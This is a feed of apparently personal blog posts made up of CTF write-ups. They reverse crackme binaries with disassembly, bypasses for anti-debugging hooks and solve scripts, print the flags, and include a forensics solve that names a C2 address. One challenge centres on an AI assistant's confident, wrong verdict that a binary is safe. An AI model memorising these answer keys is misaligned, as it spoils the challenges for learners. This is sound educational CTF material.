&lt;.text&gt;:<br> 4003c0: f3 0f 1e fa endbr64<br> 4003c4: 31 ed xor ebp,ebp<br> 4003c6: 49 89 d1 mov r9,rdx<br> 4003c9: 5e pop rsi<br> 4003ca: 48 89 e2 mov rdx,rsp<br> 4003cd: 48 83 e4 f0 and rsp,0xfffffffffffffff0<br> 4003d1: 50 push rax<br> 4003d2: 54 push rsp<br> 4003d3: 45 31 c0 xor r8d,r8d<br> 4003d6: 31 c9 xor ecx,ecx<br> 4003d8: 48 c7 c7 ce 05 40 00 mov rdi,0x4005ce<br> 4003df: ff 15 f3 2b 00 00 call QWORD PTR [rip+0x2bf3] # 402fd8 &lt;putc@plt+0x2c28&gt;<br> 4003e5: f4 hlt<br> 4003e6: 66 2e 0f 1f 84 00 00 cs nop WORD PTR [rax+rax*1+0x0]<br> 4003ed: 00 00 00 <br> 4003f0: f3 0f 1e fa endbr64<br> 4003f4: c3 ret<br> 4003f5: 66 2e 0f 1f 84 00 00 cs nop WORD PTR [rax+rax*1+0x0]<br> 4003fc: 00 00 00 <br> 4003ff: 90 nop<br> 400400: b8 30 30 40 00 mov eax,0x403030<br> 400405: 48 3d 30 30 40 00 cmp rax,0x403030<br> 40040b: 74 13 je 400420 &lt;putc@plt+0x70&gt;<br> 40040d: b8 00 00 00 00 mov eax,0x0<br> 400412: 48 85 c0 test rax,rax<br> 400415: 74 09 je 400420 &lt;putc@plt+0x70&gt;<br> 400417: bf 30 30 40 00 mov edi,0x403030<br> 40041c: ff e0 jmp rax<br> 40041e: 66 90 xchg ax,ax<br> 400420: c3 ret<br> 400421: 0f 1f 40 00 nop DWORD PTR [rax+0x0]<br> 400425: 66 66 2e 0f 1f 84 00 data16 cs nop WORD PTR [rax+rax*1+0x0]<br> 40042c: 00 00 00 00 <br> 400430: be 30 30 40 00 mov esi,0x403030<br> 400435: 48 81 ee 30 30 40 00 sub rsi,0x403030<br> 40043c: 48 89 f0 mov rax,rsi<br> 40043f: 48 c1 ee 3f shr rsi,0x3f<br> 400443: 48 c1 f8 03 sar rax,0x3<br> 400447: 48 01 c6 add rsi,rax<br> 40044a: 48 d1 fe sar rsi,1<br> 40044d: 74 11 je 400460 &lt;putc@plt+0xb0&gt;<br> 40044f: b8 00 00 00 00 mov eax,0x0<br> 400454: 48 85 c0 test rax,rax<br> 400457: 74 07 je 400460 &lt;putc@plt+0xb0&gt;<br> 400459: bf 30 30 40 00 mov edi,0x403030<br> 40045e: ff e0 jmp rax<br> 400460: c3 ret<br> 400461: 0f 1f 40 00 nop DWORD PTR [rax+0x0]<br> 400465: 66 66 2e 0f 1f 84 00 data16 cs nop WORD PTR [rax+rax*1+0x0]<br> 40046c: 00 00 00 00 <br> 400470: f3 0f 1e fa endbr64<br> 400474: 80 3d bd 2b 00 00 00 cmp BYTE PTR [rip+0x2bbd],0x0 # 403038 &lt;stdout@GLIBC_2.2.5+0x8&gt;<br> 40047b: 75 13 jne 400490 &lt;putc@plt+0xe0&gt;<br> 40047d: 55 push rbp<br> 40047e: 48 89 e5 mov rbp,rsp<br> 400481: e8 7a ff ff ff call 400400 &lt;putc@plt+0x50&gt;<br> 400486: c6 05 ab 2b 00 00 01 mov BYTE PTR [rip+0x2bab],0x1 # 403038 &lt;stdout@GLIBC_2.2.5+0x8&gt;<br> 40048d: 5d pop rbp<br> 40048e: c3 ret<br> 40048f: 90 nop<br> 400490: c3 ret<br> 400491: 0f 1f 40 00 nop DWORD PTR [rax+0x0]<br> 400495: 66 66 2e 0f 1f 84 00 data16 cs nop WORD PTR [rax+rax*1+0x0]<br> 40049c: 00 00 00 00 <br> 4004a0: f3 0f 1e fa endbr64<br> 4004a4: eb 8a jmp 400430 &lt;putc@plt+0x80&gt;<br> 4004a6: 66 2e 0f 1f 84 00 00 cs nop WORD PTR [rax+rax*1+0x0]<br> 4004ad: 00 00 00 <br> 4004b0: 66 2e 0f 1f 84 00 00 cs nop WORD PTR [rax+rax*1+0x0]<br> 4004b7: 00 00 00 <br> 4004ba: 66 0f 1f 44 00 00 nop WORD PTR [rax+rax*1+0x0]<br> 4004c0: 8d 47 9f lea eax,[rdi-0x61]<br> 4004c3: 3c 19 cmp al,0x19<br> 4004c5: 76 0b jbe 4004d2 &lt;putc@plt+0x122&gt;<br> 4004c7: 8d 57 bf lea edx,[rdi-0x41]<br> 4004ca: 89 f8 mov eax,edi<br> 4004cc: 80 fa 19 cmp dl,0x19<br> 4004cf: 76 26 jbe 4004f7 &lt;putc@plt+0x147&gt;<br> 4004d1: c3 ret<br> 4004d2: 40 0f be ff movsx edi,dil<br> 4004d6: 83 ef 54 sub edi,0x54<br> 4004d9: 48 63 c7 movsxd rax,edi<br> 4004dc: 48 69 c0 4f ec c4 4e imul rax,rax,0x4ec4ec4f<br> 4004e3: 48 c1 f8 23 sar rax,0x23<br> 4004e7: 89 fa mov edx,edi<br> 4004e9: c1 fa 1f sar edx,0x1f<br> 4004ec: 29 d0 sub eax,edx<br> 4004ee: 6b c0 1a imul eax,eax,0x1a<br> 4004f1: 29 c7 sub edi,eax<br> 4004f3: 8d 47 61 lea eax,[rdi+0x61]<br> 4004f6: c3 ret<br> 4004f7: 40 0f be ff movsx edi,dil<br> 4004fb: 83 ef 34 sub edi,0x34<br> 4004fe: 48 63 c7 movsxd rax,edi<br> 400501: 48 69 c0 4f ec c4 4e imul rax,rax,0x4ec4ec4f<br> 400508: 48 c1 f8 23 sar rax,0x23<br> 40050c: 89 fa mov edx,edi<br> 40050e: c1 fa 1f sar edx,0x1f<br> 400511: 29 d0 sub eax,edx<br> 400513: 6b c0 1a imul eax,eax,0x1a<br> 400516: 29 c7 sub edi,eax<br> 400518: 8d 47 41 lea eax,[rdi+0x41]<br> 40051b: c3 ret<br> 40051c: 55 push rbp<br> 40051d: 53 push rbx<br> 40051e: 48 83 ec 68 sub rsp,0x68<br> 400522: 48 b8 7d 4c 4d 33 33 movabs rax,0x35444833334d4c7d<br> 400529: 48 44 35 <br> 40052c: 48 89 44 24 30 mov QWORD PTR [rsp+0x30],rax<br> 400531: 48 b8 5f 41 30 5a 33 movabs rax,0x335f59335a30415f<br> 400538: 59 5f 33 <br> 40053b: 48 89 44 24 38 mov QWORD PTR [rsp+0x38],rax<br> 400540: 48 b8 31 47 30 45 5f movabs rax,0x6d436d5f45304731<br> 400547: 6d 43 6d <br> 40054a: 48 89 44 24 40 mov QWORD PTR [rsp+0x40],rax<br> 40054f: 48 b8 33 7b 59 58 43 movabs rax,0x4a4e464358597b33<br> 400556: 46 4e 4a <br> 400559: 48 89 44 24 48 mov QWORD PTR [rsp+0x48],rax<br> 40055e: c6 44 24 50 42 mov BYTE PTR [rsp+0x50],0x42<br> 400563: 48 8d 44 24 50 lea rax,[rsp+0x50]<br> 400568: 48 89 e3 mov rbx,rsp<br> 40056b: 48 89 e2 mov rdx,rsp<br> 40056e: 48 8d 74 24 2f lea rsi,[rsp+0x2f]<br> 400573: 66 90 xchg ax,ax<br> 400575: 66 66 2e 0f 1f 84 00 data16 cs nop WORD PTR [rax+rax*1+0x0]<br> 40057c: 00 00 00 00 <br> 400580: 0f b6 08 movzx ecx,BYTE PTR [rax]<br> 400583: 88 0a mov BYTE PTR [rdx],cl<br> 400585: 48 83 e8 01 sub rax,0x1<br> 400589: 48 83 c2 01 add rdx,0x1<br> 40058d: 48 39 f0 cmp rax,rsi<br> 400590: 75 ee jne 400580 &lt;putc@plt+0x1d0&gt;<br> 400592: 48 8d 6b 21 lea rbp,[rbx+0x21]<br> 400596: 0f be 3b movsx edi,BYTE PTR [rbx]<br> 400599: e8 22 ff ff ff call 4004c0 &lt;putc@plt+0x110&gt;<br> 40059e: 0f be f8 movsx edi,al<br> 4005a1: 48 8b 35 88 2a 00 00 mov rsi,QWORD PTR [rip+0x2a88] # 403030 &lt;stdout@GLIBC_2.2.5&gt;<br> 4005a8: e8 03 fe ff ff call 4003b0 &lt;putc@plt&gt;<br> 4005ad: 48 83 c3 01 add rbx,0x1<br> 4005b1: 48 39 eb cmp rbx,rbp<br> 4005b4: 75 e0 jne 400596 &lt;putc@plt+0x1e6&gt;<br> 4005b6: 48 8b 35 73 2a 00 00 mov rsi,QWORD PTR [rip+0x2a73] # 403030 &lt;stdout@GLIBC_2.2.5&gt;<br> 4005bd: bf 0a 00 00 00 mov edi,0xa<br> 4005c2: e8 e9 fd ff ff call 4003b0 &lt;putc@plt&gt;<br> 4005c7: 48 83 c4 68 add rsp,0x68<br> 4005cb: 5b pop rbx<br> 4005cc: 5d pop rbp<br> 4005cd: c3 ret<br> 4005ce: 41 56 push r14<br> 4005d0: 41 54 push r12<br> 4005d2: 55 push rbp<br> 4005d3: 53 push rbx<br> 4005d4: 48 83 ec 28 sub rsp,0x28<br> 4005d8: 89 fd mov ebp,edi<br> 4005da: 48 89 f3 mov rbx,rsi<br> 4005dd: bf a0 12 40 00 mov edi,0x4012a0<br> 4005e2: e8 89 fd ff ff call 400370 &lt;puts@plt&gt;<br> 4005e7: 83 fd 02 cmp ebp,0x2<br> 4005ea: 7e 52 jle 40063e &lt;putc@plt+0x28e&gt;<br> 4005ec: 4c 8b 63 08 mov r12,QWORD PTR [rbx+0x8]<br> 4005f0: be b1 12 40 00 mov esi,0x4012b1<br> 4005f5: 4c 89 e7 mov rdi,r12<br> 4005f8: e8 a3 fd ff ff call 4003a0 &lt;strcmp@plt&gt;<br> 4005fd: 89 c5 mov ebp,eax<br> 4005ff: 85 c0 test eax,eax<br> 400601: 74 54 je 400657 &lt;putc@plt+0x2a7&gt;<br> 400603: be d0 12 40 00 mov esi,0x4012d0<br> 400608: 4c 89 e7 mov rdi,r12<br> 40060b: e8 90 fd ff ff call 4003a0 &lt;strcmp@plt&gt;</p><p>The note claimed the only way was --unlock &lt;code&gt; with a 64-character HMAC key, and also said strings showed nothing useful.</p><p>But strings showed suspicious chunks:</p><pre>}LM33HD5H<br>_A0Z3Y_3H<br>1G0E_mCmH<br>3{YXCFNJH</pre><h3>Process Flow</h3><p>After checking the binary, the message was:</p><ol><li>Stored in separated chunks</li><li>Reversed</li><li>ROT13-decoded</li></ol><p>There was also an emergency path:</p><pre>./lockbox--emergency 0v3rr1d3</pre><p>Output:</p><pre>[lockbox] ready.<br>[lockbox] emergency path triggered.<br>[lockbox] emergency key accepted.<br>OWASPKL{3zPz_R0T13_L3M0N_5QU33ZY}</pre><p>Simplest solve script:</p><pre>import codecs<br><br>data=&quot;}LM33HD5_A0Z3Y_31G0E_mCm3{YXCFNJB&quot;<br>flag=codecs.decode(data[::-1],&quot;rot_13&quot;)<br><br>print(flag)</pre><p>Flag: OWASPKL{3zPz_R0T13_L3M0N_5QU33ZY}</p><h3>codec-auth</h3><p>A Python .pyc binary wrapped in a Metal Gear Solid FOXHOUND skin. The binary validates an operator token through a multi-stage authentication check. The AES-GCM branding is pure misdirection — the real cipher is a 25-round custom SPN. Once you load the bytecode, everything falls out deterministically.</p><h3>Step 1 — The Magic Number Problem</h3><p>Running file on codec-auth.pyc gives nothing useful. Checking the header:</p><pre>magic: 2b 0e 0d 0a</pre><p>0x0e2b = 3627 — that&#39;s <strong>Python 3.14</strong>, not the system Python 3.13. marshal.loads() fails silently on 3.13 because the code object format changed. Fix: install python@3.14 via brew and load the file directly.</p><pre>import marshal<br>data = open(&#39;codec-auth.pyc&#39;, &#39;rb&#39;).read()<br>code = marshal.loads(data[16:])   # header is 16 bytes for Python 3.14</pre><p>The challenge description hint — <em>“Python 3.14 tooling won’t cooperate with the module-level runner”</em> — refers to the anti-analysis hooks installed at module load time, not the marshal step itself.</p><h3>Step 2 — Anti-Analysis Hooks</h3><p>The module-level code does three things before anything else:</p><ol><li><strong>_ah</strong> — installs sys.addaudithook to monitor exec/eval calls</li><li><strong>_hw</strong> — replaces builtins.exec, builtins.eval, and builtins.compile with a wrapper</li><li><strong>_init_codec</strong> — checks for sys.gettrace / sys.getprofile / monitoring hooks and XORs _entropy with 57005 if a debugger is detected</li></ol><p>The entropy mechanism is interesting:</p><pre># _init_codec (no debugger)<br>_entropy = 0 ^ 90          # → 90 = 0x5A</pre><pre># _init_codec (debugger detected)<br>_entropy = 0 ^ 90 ^ 57005  # → 57079 = 0xDEF7</pre><p>This gates the _4uth_ch3ck state machine: the entropy check at state 92 computes _exp = (90 + len(body)) &amp; 0xFFFF and requires _entropy &amp; 0xFFFF == _exp. With the correct entropy (90) and len(body) = 59, the check trivially passes. Under a debugger it would fail immediately.</p><p><strong>Bypass:</strong> exec(code, {&#39;__name__&#39;: &#39;codec_analysis&#39;, &#39;__builtins__&#39;: builtins}) — running with a non-__main__ name skips main() and all hooks. Then call functions directly.</p><h3>Step 3 — The State Machine</h3><p>_4uth_ch3ck(candidate) is a deterministic state machine:</p><pre>State 163  →  _check_format(candidate)<br>               token must match: OWASPKL{ ... }<br>               _entropy += len(body)</pre><pre>State 92   →  entropy gate (always passes under normal conditions)</pre><pre>State 231  →  _fr3q_l0ck(body)   ← real cipher check</pre><pre>State 27   →  _entropy rotated left 3 bits (16-bit)<br>               _s3q_v3r(body)    ← SHA256-based check</pre><pre>State 143  →  return True<br>State 98   →  return False</pre><p>The description says <em>“only l33tspeak function names carry real logic”</em>. The English-named functions (foxhound_codec_encrypt, _foxhound_aes_gcm_auth, etc.) are entirely decorative.</p><h3>Step 4 — The Cipher [_c1ph_rnd ]</h3><p>The cipher is a <strong>25-round SPN</strong> operating on a 64-bit block with an 80-bit key. Three components:</p><p><strong>S-Box</strong> — constructed at runtime from two hardcoded bytearrays XOR’d together:</p><pre>p0 = [12, 6, 8, 7, 14, 7, 5, 2, 15, 14, 5, 12, 4, 4, 1, 2]<br>p1 = [10, 3, 7, 13, 14, 9, 2, 11,  4, 15, 6,  1, 12, 8, 5, 0]<br>p2 = [a ^ b for a, b in zip(p0, p1)]<br># → [6, 5, 15, 10, 0, 14, 7, 9, 11, 1, 3, 13, 8, 12, 4, 2]</pre><p>The obfuscation makes it look like two separate tables, but it’s just one XOR’d S-Box — a valid 4-bit permutation (all 0–15 values present exactly once).</p><p><strong>Key schedule (</strong><strong>_r0und_k3y)</strong> — PRESENT-style on an 80-bit key:</p><ol><li>Apply S-Box to top nibble of K</li><li>Rotate K left by 8 bits (mod 2⁸⁰)</li><li>XOR bits [19:15] with round counter: K ^= ((rc + 1) &lt;&lt; 15)</li></ol><p><strong>Round function (</strong><strong>_c1ph_rnd):</strong></p><ol><li>Split 64-bit block into 4 × 16-bit words</li><li>For each of 25 rounds:</li></ol><ul><li>XOR state with round key</li><li>Apply S-Box nibble-by-nibble via bit decomposition (bitsliced)</li><li>Rotate s[1] left 1, s[2] left 6, s[3] left 13 (differential diffusion layer)</li></ul><p>3. Pack back to 8 bytes</p><p>The rotations and 25 rounds diverge from standard PRESENT (which uses 31 rounds and a bit-permutation layer). This is a bespoke variant.</p><h3>Step 5 — Reversing _fr3q_l0ck</h3><p>This function validates body (must be exactly 59 chars). Full logic:</p><pre>1. Three fixed cipher calls (hardcoded block + key → fixed output):<br>   _rm = cipher(d41f8a03e6c27b5f, a92c14f73d8801bec56a) = beaf4ba2194c27fd<br>   _sm = cipher(7ef329d04ab891cc, 15ea478df236c90b73d5) = 94abb5d536f2eaa1<br>   _bm = cipher(865ae13cf90d62b4, c72e934fa01bd864e537) = 62987e17f7cef2b9</pre><pre>2. Stream-decode q0[:19] (initial state = 90):<br>   key_byte_i = (state ^ (i * 31)) &amp; 0xFF<br>   decoded_i  = q0[i] ^ key_byte_i<br>   state      = (state + decoded_i + i) &amp; 0xFF<br>   → r1 = b&#39;FOXHOUND_CODEC_V4_1&#39;   (19 bytes)</pre><pre>   XOR r1 with _rm (repeating 8-byte key)</pre><pre>3. Same decode on q1[:23] → r3 = b&#39;OUTER_HEAVEN_PROTOCOL_7&#39;  (23 bytes)<br>   XOR r3 with _sm</pre><pre>4. _q2 (64 hardcoded bytes) XOR&#39;d with _bm → _q2c</pre><pre>5. _r4 = pbkdf2_hmac(&#39;sha256&#39;, r1, r3, 700000, dklen=64)<br>   (iterations = 699808 + p3 where p3 = (p2[0] &lt;&lt; 5) ^ (p2[4] &lt;&lt; 6) = 192)</pre><pre>6. Validation: for every i in range(59):<br>      ord(body[i]) == _q2c[i] ^ _r4[i]</pre><p><strong>All inputs are constants.</strong> The PBKDF2 password and salt are decoded from hardcoded byte arrays; the cipher outputs are from hardcoded keys; _q2c is a hardcoded XOR table. The expected body is fully determined:</p><pre>expected = bytes(_q2c[i] ^ _r4[i] for i in range(59))<br># → b&#39;sp3n_c1ph3r_0ut3r_h34v3n_c0d3c_sh10k_st34dy_l4h_s0l1d_sn4k3&#39;</pre><p>No brute force. No guessing. Just follow the math.</p><h3>Step 6 — _s3q_v3r Check</h3><p>Secondary check using SHA256:</p><pre>_s0 = &#39;sha256&#39;   # decoded from (117, 109, 110, 56, 53, 56) XOR p2<br>_k1 = hashlib.sha256(body.encode()).digest()[:10]</pre><pre># Stream-decode q0[:8] → b&#39;FOXhound&#39;<br># cipher(b&#39;FOXhound&#39;, _k1) must equal stream-decoded q1[:8]</pre><p>Since the expected body is already determined, SHA256 of the correct body produces exactly the key that satisfies this check. No independent constraint to solve.</p><p>Solve Script</p><p>import marshal, builtins, hashlib</p><p>data = open(‘codec-auth.pyc’, ‘rb’).read()<br>ns = {‘__name__’: ‘codec_analysis’, ‘__builtins__’: builtins}<br>exec(marshal.loads(data[16:]), ns)</p><p>c = ns[‘_c1ph_rnd’]</p><p>rm = c(bytes.fromhex(‘d41f8a03e6c27b5f’), bytes.fromhex(‘a92c14f73d8801bec56a’))<br>sm = c(bytes.fromhex(‘7ef329d04ab891cc’), bytes.fromhex(‘15ea478df236c90b73d5’))<br>bm = c(bytes.fromhex(‘865ae13cf90d62b4’), bytes.fromhex(‘c72e934fa01bd864e537’))</p><p>def stream_decode(data, n, key_bytes):<br> state, result = 90, bytearray()<br> for i, b in enumerate(data[:n]):<br> rk = (state ^ (i * 31)) &amp; 0xFF<br> rc = b ^ rk<br> result.append(rc)<br> state = (state + rc + i) &amp; 0xFF<br> return bytearray(result[i] ^ key_bytes[i % 8] for i in range(n))</p><p>q0 = bytes([162,173,30,255,31,13,126,124,197,62,136,123,145,189,247,185,7,232,76,0,0,0,0,0])<br>q1 = bytes([129,212,235,218,178,36,220,81,122,222,252,250,199,126,244,251,241,122,94,89,45,239,252,0])<br>q2 = bytes([29,99,59,238,131,82,66,59,67,18,49,117,145,221,111,221,<br> 103,166,82,219,233,216,140,159,134,214,109,204,210,64,113,37,<br> 199,91,32,169,193,150,253,236,146,165,59,98,3,211,138,14,<br> 97,36,101,116,250,1,20,47,186,163,51,23,247,206,242,185])</p><p>r1 = stream_decode(q0, 19, rm) # b’FOXHOUND_CODEC_V4_1&#39;<br>r3 = stream_decode(q1, 23, sm) # b’OUTER_HEAVEN_PROTOCOL_7&#39;<br>q2c = bytes(q2[i] ^ bm[i % 8] for i in range(64))<br>r4 = hashlib.pbkdf2_hmac(‘sha256’, bytes(r1), bytes(r3), 700000, dklen=64)<br>body = bytes(q2c[i] ^ r4[i] for i in range(59)).decode()</p><p>ns[‘_entropy’] = 0<br>ns[‘_init_codec’]()<br>assert ns[‘_4uth_ch3ck’](‘OWASPKL{‘ + body + ‘}’)<br>print(f’liga{{{body}}}’)</p><p>Flag:</p><p>liga{sp3n_c1ph3r_0ut3r_h34v3n_c0d3c_sh10k_st34dy_l4h_s0l1d_sn4k3}</p><h3><a href="http://memdiag.ai/">memdiag.ai</a></h3><p>During an endpoint crash response, your SOC receives host_memdiag, a third-party memory diagnostic binary. A rushed analyst pastes reverse-engineering output into an internal AI assistant and returns with a confident verdict: &quot;safe utility, approve temporary allowlist.&quot;</p><p>Before the allowlist is approved, you are asked to validate the verdict manually.</p><p>Prove whether the AI can be trusted — by reversing the sample and recovering the hidden operator note.</p><p>Tip: Start with static analysis. Treat the AI analysis report as evidence for interpretation, not as ground truth — the disassembly is the source of truth, the report is not.</p><p>Flag format: OWASPKL{…}</p><h3>Flow</h3><p>The file is host_memdiag: ELF 64-bit LSB executable, stripped</p><p>while performing static flow was</p><pre>if (argc == 3) {<br>    argv[2] parsed as hex must equal 0xdeadc0de;<br>    argv[1] must pass a custom hash check;<br>    then it writes ./memdiag_dump.bmp<br>}</pre><h3>Custom Hash</h3><p>so the custom hash will be:</p><pre>h = 0;<br>for each byte c:<br>    h = h * 0x83 + c;</pre><pre>target: 0xa15ded69</pre><p>memdiag-override matches that hash. Running the gated path:</p><pre>./host_memdiag memdiag-override 0xdeadc0de</pre><p>that will create memdiag_dump.bmp</p><p>The BMP pixel data starts as AWOKPSt{L5urn_t4_0t_I5ury_tru0y3_}s3</p><p>Because BMP stores pixels in <strong>BGR</strong>, reversing each 3-byte pixel, the script will be:</p><pre>data=open(&#39;memdiag_dump.bmp&#39;,&#39;rb&#39;).read()[54:]<br>print(data)<br>print(data.decode())<br>print(b&#39;&#39;.join(data[i:i+3][::-1] for i in range(0,len(data),3)).decode())</pre><p>Flag: OWASPKL{tru5t_n0_4I_tru5t_y0ur_3y3s}</p><h3>Glyphed_Secrets</h3><h3>Flow</h3><p>What happened:</p><pre>main loads scene_XX.png files<br>→ OCRs glyph text from images<br>→ rebuilds a hidden DSL program<br>→ parses that DSL<br>→ checks the flag through round() and final()</pre><p>The rebuilt hidden program starts like:</p><pre>k0[8]={0x10293847,...};<br>k1[8]={0x9e3779b9,...};<br>k2[8]={0xf0e1d2c3,...};<br>k3[8]={0x89abcdef,...};</pre><pre>init(){s0=0x13579bdf;}<br>round(i,x){<br>  a=x^rl(s0+k0[i],5);<br>  b=a+k1[i];<br>  s0=rl((b^k2[i]),7);<br>  o0=s0^k3[i];<br>}<br>final(){o0=s0^0xa5a5a5a5;}</pre><p>Verified:</p><pre>$ ./main . &lt;&lt;&lt;&#39;OWASPKL{glyph_ocr_stateflow_x26}&#39;<br>/* OUTPUT<br>Access granted.<br>Flag: OWASPKL{glyph_ocr_stateflow_x26} <br>*/</pre><p>Solution</p><p>import struct</p><p>k0 = [0x10293847,0x55667788,0x89abcdef,0x31415926,0x27182818,0x0badc0de,0x7f4a7c15,0x1234fedc]<br>k1 = [0x9e3779b9,0xa5a5a5a5,0x55aa55aa,0x01020304,0x76543210,0xc001d00d,0xbead2222,0x42424242]<br>k2 = [0xf0e1d2c3,0x13579bdf,0x2468ace0,0x0f1e2d3c,0x11223344,0xdeadbabe,0x99aabbcc,0x5aa55aa5]<br>k3 = [0x89abcdef,0x0ddc0ffe,0x12481632,0x90909090,0x33333333,0xabcdef01,0x7654c321,0xfaceb00c]</p><p>target = [<br> 0x30e40e77, 0x3e7b9b5e, 0xf9d7fb37, 0x3b488917,<br> 0xc5e5dd6b, 0x8421e715, 0x898f18d1, 0x1fb4fce1<br>]</p><p>def rol(x, n):<br> x &amp;= 0xffffffff<br> return ((x &lt;&lt; n) | (x &gt;&gt; (32 — n))) &amp; 0xffffffff</p><p>def ror(x, n):<br> x &amp;= 0xffffffff<br> return ((x &gt;&gt; n) | (x &lt;&lt; (32 — n))) &amp; 0xffffffff</p><p>s = 0x13579bdf<br>parts = []</p><p>for i, out in enumerate(target):<br> s_new = out ^ k3[i]<br> b = ror(s_new, 7) ^ k2[i]<br> a = (b — k1[i]) &amp; 0xffffffff<br> x = a ^ rol((s + k0[i]) &amp; 0xffffffff, 5)</p><p>parts.append(struct.pack(“&lt;I”, x))<br> s = s_new</p><p>flag = b””.join(parts).decode()<br>print(flag)</p><p>Flag:</p><p>OWASPKL{glyph_ocr_stateflow_x26}</p><h3>Atari_Breakout</h3><p>This is one of my favorite computer games that I played during my childhood. Therefore, I tried to recreate the game and hid a flag inside. Can you find it? XD Flag Format: OWASPKL{xxx}</p><p>The binary embeds a PNG in .data, loaded through SDL_RWFromMem / IMG_Load_RW. Extracting that embedded PNG reveals the flag text.</p><pre>from pathlib import Path</pre><pre>p = Path(&quot;/mnt/data/breakout&quot;).read_bytes()<br>base_va = 0x9160<br>base_off = 0x8160<br>items = [(&quot;US0JFpkLGR.png&quot;, 0x91A0, 7197), (&quot;GQ3mHqOK6n.jpg&quot;, 0xADE0, 31911)]<br>for fn, va, size in items:<br>    off = va - base_va + base_off<br>    Path(&quot;/tmp/breakout_extract/&quot; + fn).write_bytes(p[off : off + size])<br>    print(fn, off, size)</pre><p>Flag: OWASPKL{fd51b8da-cb27-4b4e-bf3c-de6a114f3a2e}</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a47c8c5f4574" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[LEARNING CTF]]></title>
            <link>https://medium.com/@sonicmuaz/learning-ctf-13eadbd7b7e3?source=rss-dc148c93e3c5------2</link>
            <guid isPermaLink="false">https://medium.com/p/13eadbd7b7e3</guid>
            <dc:creator><![CDATA[FROSTIVUS]]></dc:creator>
            <pubDate>Fri, 27 Feb 2026 06:58:57 GMT</pubDate>
            <atom:updated>2026-02-27T06:58:57.727Z</atom:updated>
            <content:encoded><![CDATA[<h3>🕸 WEB EXPLOITATION</h3><ol><li><strong>Burp Suite</strong><br> Intercept &amp; modify request (proxy)</li><li><strong>sqlmap</strong><br> Automate SQL Injection</li><li><strong>Gobuster</strong><br> Cari hidden directory</li><li><strong>Nikto</strong><br> Scan vulnerability web server</li></ol><h3>🔍 RECON / ENUMERATION</h3><ol><li><strong>Nmap</strong><br> Scan port &amp; service</li><li><strong>Wireshark</strong><br> Analyze network traffic</li></ol><h3>🧠 CRYPTOGRAPHY</h3><ol><li><strong>CyberChef</strong><br> Decode / Encode / Hash</li><li><strong>John the Ripper</strong><br> Crack password hash</li><li><strong>Hashcat</strong><br> GPU password cracking</li></ol><h3>🧾 FORENSICS</h3><ol><li><strong>binwalk</strong><br> Extract hidden data dalam file</li><li><strong>ExifTool</strong><br> Check metadata gambar</li><li><strong>Steghide</strong><br> Extract data tersembunyi dalam gambar/audio</li></ol><h3>🧩 REVERSE ENGINEERING</h3><ol><li><strong>Ghidra</strong><br> Analyze binary</li><li><strong>radare2</strong><br> Reverse &amp; debugging</li></ol><h3>💥 PWN / BINARY EXPLOIT</h3><ol><li><strong>pwntools</strong><br> Buat exploit script</li><li><strong>GDB</strong><br> Debug binary</li></ol><h3>📌 Beginner CTF</h3><p>Start dengan:</p><ul><li>Nmap</li><li>Burp Suite</li><li>CyberChef</li><li>sqlmap</li><li>John the Ripper</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=13eadbd7b7e3" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[WRITE UP:CTF TETCTF2024]]></title>
            <link>https://medium.com/@sonicmuaz/write-up-ctf-tetctf2024-e6be35f74901?source=rss-dc148c93e3c5------2</link>
            <guid isPermaLink="false">https://medium.com/p/e6be35f74901</guid>
            <dc:creator><![CDATA[FROSTIVUS]]></dc:creator>
            <pubDate>Sun, 14 Dec 2025 07:51:29 GMT</pubDate>
            <atom:updated>2025-12-14T07:51:29.850Z</atom:updated>
            <content:encoded><![CDATA[<blockquote><em>Tet is coming, TetCTF is coming again. Like every year, I continued to register to play CTF, read the rules to prepare for the competition. After reading the rules, my computer seemed unusual, it seemed like it was infected with malicious code somewhere. Can you find out? Find the malicious code and tell me the IP and Port C2 What was the first flag you found? After registering an account, I no longer remember anything about my account. Can you help me find and get the second flag? Format : TetCTF{IP:Port_Flag1_Flag2}</em></blockquote><blockquote><em>Ex: TetCTF{1.1.1.1:1234_Hello_HappyForensics}</em></blockquote><h3>About the Challenge</h3><p>We got 2 files, Backup.ad1 and TETCTF-2024-20240126-203010.raw and we need to find the malicious code, first flag, and the second flag from these 2 forensic artefacts</p><h3>How to Solve?</h3><p>First, we need to find the malicious code. If we open the Backup.ad1 file using FTK Imager and go to Roaming/Microsoft/Windows/, you will find a dotm file.</p><p>And if you run olevba you will get the ip, port, and the first flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*U65SnSqV81x37lKU.png" /></figure><p>And it the end of the VBA script, there is a Base64 encoded msg</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*hpBpxWq9kgLbN359.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*eIAH5sy4DbJrk8Z6.png" /></figure><p>And I managed to get the second flag using strings and grep</p><pre>strings TETCTF-2024-20240126-203010.raw | grep &quot;Flag 2&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/978/0*gbvUJ66HJbMr-o_N.png" /></figure><pre>TetCTF{172.20.25.15:4444_VBA-M4cR0_R3c0v3rry_34sy_R1ght?}</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e6be35f74901" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[WRITE UP:CTF CYBER INTERNATIONAL 2024]]></title>
            <link>https://medium.com/@sonicmuaz/write-up-ctf-cyber-international-2024-1ec9e7f276c9?source=rss-dc148c93e3c5------2</link>
            <guid isPermaLink="false">https://medium.com/p/1ec9e7f276c9</guid>
            <dc:creator><![CDATA[FROSTIVUS]]></dc:creator>
            <pubDate>Sun, 05 Oct 2025 23:57:49 GMT</pubDate>
            <atom:updated>2025-10-05T23:57:49.835Z</atom:updated>
